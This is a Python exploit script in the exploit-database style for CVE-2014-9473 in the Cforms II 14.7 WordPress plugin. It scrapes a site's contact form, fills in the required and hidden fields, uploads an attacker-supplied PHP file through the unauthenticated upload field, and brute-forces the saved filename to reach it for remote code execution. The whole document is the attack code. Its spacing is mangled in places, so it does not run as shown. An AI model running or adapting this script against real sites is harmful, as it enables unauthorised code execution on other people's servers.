# Exploit Title: Remote Code Execution via Unauthorised File upload in Cforms 14.7 # Date: 2015-01-19# Exploit Author: Zakhar# Vendor Homepage: https://wordpress.org/plugins/cforms2/# Software Link: https://downloads.wordpress.org/plugin/cforms2.zip# Version: 14.7# Tested on: WordPress 4.0# CVE : 2014-9473import os
import requests
import re
import base64
import sys
from lxml import etree
from optparse import OptionParser
defmain():print'Cforms II File Upload + Remote Code Execution\n'
text ='Test text'
text_mail ='test@mail.com'
parser = OptionParser()
parser.add_option("-f","--file", dest="file",help="file to upload", default ="itest.php", metavar="FILE")
parser.add_option("-i","--max-iterations", dest="iterations",help="Numbe of fields to iterate", default ="10")
parser.add_option("-b","--upload-file-name-bruteforce", dest="brute",help="Uploaded file name brute force", default ="10")
parser.add_option("-n","--cforms-form-number", dest="number",help="Cforms form number", default ="")
parser.add_option("-c","--cforms-home-dir", dest="home",help="Cforms form home dir", default ="/wp-content/plugins/cforms2/")
parser.add_option("-u","--url", dest="url",help="vulnerable url with contact form, example: http://127.0.0.1/Contact/")(opt, args)= parser.parse_args()
options = opt.__dict__
ifnot opt.url:# if url is not given
parser.error('URL not given')ifnot opt.file:
parser.error('file not given')
filename = options["file"]if os.path.isfile(filename)isnotTrue:print'No such file '+filename
return0
url = options['url']
home = options["home"]
i = options["iterations"]
n = options["number"]
b = options["brute"]
s = requests.Session()
r = s.get(url)if r.status_code != requests.codes.ok:print'Error: website not found.'return0
tree = etree.HTML(r.text)# get cforms idif n is"":for x inxrange(2,10):for node in tree.xpath('//*[@id="cforms'+str(x)+'form"]'):if node isnotNone:
n =str(x)breakprint'Cforms form number is <'+n+'>'
hidden =['cf_working'+n,'cf_failure'+n,'cf_codeerr'+n,'cf_customerr'+n,'cf_popup'+n]
fields =['cf'+n+'_field_'+str(x)for x inxrange(1,int(i)+1)]
required ={'sendbutton'+n:'1'}for f in fields:for node in tree.xpath('//*[@id="'+ f +'"]'):if node isnotNone:if'fldrequired'in node.get('class'):if'fldemail'in node.get('class'):
required[f]= text_mail
else:
required[f]= text
for h in hidden:for node in tree.xpath('//*[@id="'+ h +'"]'):if node isnotNone:
required[h]= node.get('value')for node in tree.xpath('//*[@id="cforms_captcha'+n+'"]'):if node isnotNone:print'Error: Cforms uses captcha. Sorry, you have to exploit it manually.'return0
files ={'cf_uploadfile'+n+'[]':('wow.php',open(filename))}
r = s.post(url,data=required,files=files)if r.status_code != requests.codes.ok:print'Error: post error.'print r.status_code
return0else:
url1 = url + home +'noid-wow.php'
flag =0if s.get(url1).status_code != requests.codes.ok:for l inxrange(1,int(b)):
url1 =url + home +str(l)+'-wow.php'print url1
if s.get(url1).status_code == requests.codes.ok:
flag =1breakelse:
flag =1if flag ==1:print"Succes! Uploaded file: "+ url1
else:print"Uploaded file not found. Try to increase -b flag or change upload dir. 14.6.3 version and above use wordpress upload folder"
main()